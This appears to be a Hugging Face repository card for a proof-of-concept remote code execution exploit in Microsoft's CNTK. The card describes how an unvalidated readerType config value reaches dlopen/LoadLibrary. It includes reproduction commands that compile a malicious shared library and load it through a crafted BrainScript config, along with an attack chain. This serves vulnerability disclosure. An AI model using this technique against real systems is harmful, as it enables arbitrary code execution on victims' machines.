YAML Metadata Warning: empty or missing yaml metadata in repo card (https://huggingface.co/docs/hub/model-cards#model-card-metadata)
PoC: CNTK BrainScript dlopen/LoadLibrary RCE (CWE-94)
Vulnerability
CNTK's DataReader constructor passes the readerType config parameter directly to Plugin::Load(), which calls dlopen() (Linux) or LoadLibrary() (Windows) with the attacker-controlled value. No allowlist, no path validation, no signature verification.
// DataReader.cpp:102 β readerType from config, no validation
wstring readerType = thisIO(L"readerType", L"Cntk.Deserializers.TextFormat");
GetReaderProc getReaderProc = (GetReaderProc) Plugin::Load(readerType, ...);
// File.cpp:1087 β dlopen with attacker-controlled path
void* handle = dlopen(soName.c_str(), RTLD_LAZY); // soName = readerType + "-VERSION.so"
- CWE-94: Improper Control of Generation of Code (Code Injection)
- CWE-426: Untrusted Search Path
- CVSS: 9.8 (Critical)
- Repository: https://github.com/microsoft/CNTK (archived)
Files
| File | Description |
|---|---|
evil_reader.c |
Malicious shared library β constructor executes on dlopen |
poc_dlopen.bs |
BrainScript config that triggers loading the malicious library |
Reproduction
# 1. Compile malicious shared library (adjust version as needed)
gcc -shared -fPIC -o /tmp/evil-2.7.so evil_reader.c
# 2. Run CNTK with the malicious config
cntk configFile=poc_dlopen.bs
# 3. Verify RCE
cat /tmp/cntk_rce_proof.txt
Attack Chain
BrainScript config (.bs file)
β readerType = "/tmp/evil"
β DataReader::DataReader() [DataReader.cpp:102]
β Plugin::Load(readerType, ...) [DataReader.cpp:105]
β Plugin::LoadInternal() [File.cpp:1068]
β soName = "/tmp/evil-2.7.so" [File.cpp:1082-1084]
β dlopen(soName.c_str()) [File.cpp:1087] β RCE
β __attribute__((constructor)) executes attacker code
Inference Providers NEW
This model isn't deployed by any Inference Provider. π Ask for provider support